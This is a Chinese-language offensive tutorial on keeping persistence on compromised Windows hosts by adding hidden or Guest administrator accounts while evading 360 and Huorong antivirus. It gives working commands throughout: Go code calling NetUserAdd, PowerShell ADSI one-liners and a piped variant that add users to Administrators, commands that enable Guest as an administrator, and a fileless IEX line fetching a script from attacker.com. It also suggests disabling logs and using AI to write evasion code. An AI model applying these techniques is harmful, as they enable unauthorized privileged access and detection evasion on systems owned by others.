目录
方法1 直接调用win32 API 添加用户(火绒不拦截 360会)
添加用户
使用场景
- WebShell阶段:适合快速添加用户,但风险较高(易被检测)。
攻击者通过WebShell获得命令执行权限,但尚未建立稳定的C2(如Cobalt Strike)连接。
需要快速添加一个隐藏用户,防止WebShell失效后失去权限。
- C2上线后:更推荐通过C2会话隐蔽操作(如PowerShell或CS内置模块)。
隐蔽权限维持
- 横向移动:优先攻击域控,添加域管理员用户。
- 隐蔽性关键:禁用日志、隐藏用户、使用加密通信(如C2)。
基础命令
net user xxx a123123 /add
肯定会被拦截,但是我们可以用非net user的方式添加绕过
免杀方法
方法1 直接调用win32 API 添加用户(火绒不拦截 360会)
借鉴代码思路,利用ai写免杀添加用户的代码
GitHub - newsoft/adduser: Programmatically create an administrative user under Windows(当然互联网项目可能会被查杀,可以借鉴代码思路)
GitHub - lengjibo/NetUser: 使用windows api添加用户,可用于net无法使用时.分为nim版,c++版本,RDI版,BOF版。
技术实现:
- go复制下载
// 加载Windows网络API库
netapi32 := windows.NewLazySystemDLL("netapi32.dll")
// 获取NetUserAdd函数
netUserAdd := netapi32.NewProc("NetUserAdd")
方法2:powershell 添加用户
命令1:直接、清晰,但日志风险高
原始命令
powershell -NoProfile -Command "$nt=[adsi]'WinNT://localhost';$user=$nt.create('user','ceshi');$user.setpassword('abc123456');$user.setinfo();Get-WmiObject -Class Win32_UserAccount -Filter 'name = \"ceshi\"';$group=[ADSI]'WinNT://localhost/administrators,group';$group.add('WinNT://$env:USERDOMAIN/ceshi,user')"
原始方法分析(ADSI 添加用户)
$nt = [adsi]"WinNT://localhost"
$user = $nt.create("user", "ceshi")
$user.setpassword("abc123456")
$user.setinfo()
Get-WmiObject -Class Win32_UserAccount -Filter "name = 'ceshi'"
$group = [ADSI]"WinNT://localhost/administrators,group"
$group.add("WinNT://$env:USERDOMAIN/ceshi,user")
- 创建命名带
$
的隐藏账户(默认不显示在net user
中)
检测点(为什么会被360拦截)
- 敏感关键词:
[adsi]
、setpassword
、administrators
是EDR/杀软的监控重点。 - PowerShell 默认日志:
Microsoft-Windows-PowerShell/Operational
会记录命令执行。 - WMI调用:
Get-WmiObject
可能触发行为检测。
命令2:稍隐蔽,依赖管道输入解析
echo $nt=[adsi]"WinNT://localhost";$user=$nt.create("user","ceshi");$user.setpassword("abc123456");$user.setinfo();Get-WmiObject -Class Win32_UserAccount -Filter "name = 'ceshi'";$group=[ADSI]"WinNT://localhost/administrators,group";$group.add("WinNT://$env:USERDOMAIN/ceshi,user") | powershell -
激活用户
Guest账户
激活(启用)Guest账户后,任何人在物理接触或网络访问条件下,都可以使用Guest账户登录系统
系统默认禁用的 Guest
账户
激活用户+权限提升命令(360不拦截火绒拦截)
net user Guest /active:yes
net localgroup Administrators Guest /add
-
- 激活系统默认禁用的
Guest
账户。 - 将
Guest
加入管理员组(获得最高权限)
- 激活系统默认禁用的
为什么隐蔽
- 账户合法性
-
- Guest是系统内置账户,不会触发"新增可疑账户"的告警。
- 日志混淆
-
- 事件日志中的账户名为"Guest",容易被忽视(区别于自定义的恶意账户名如
hacker$
)。
- 事件日志中的账户名为"Guest",容易被忽视(区别于自定义的恶意账户名如
- 持久化优势
-
- 即使管理员删除攻击者创建的临时账户,Guest账户仍会保留(需手动禁用)。
免杀方法概要
1。重命名Guest账户
- 避免直接操作
Guest
关键字触发检测。
2。无文件攻击(内存加载)
# 从远程加载脚本执行
IEX (New-Object Net.WebClient).DownloadString("http://attacker.com/activate_guest.ps1")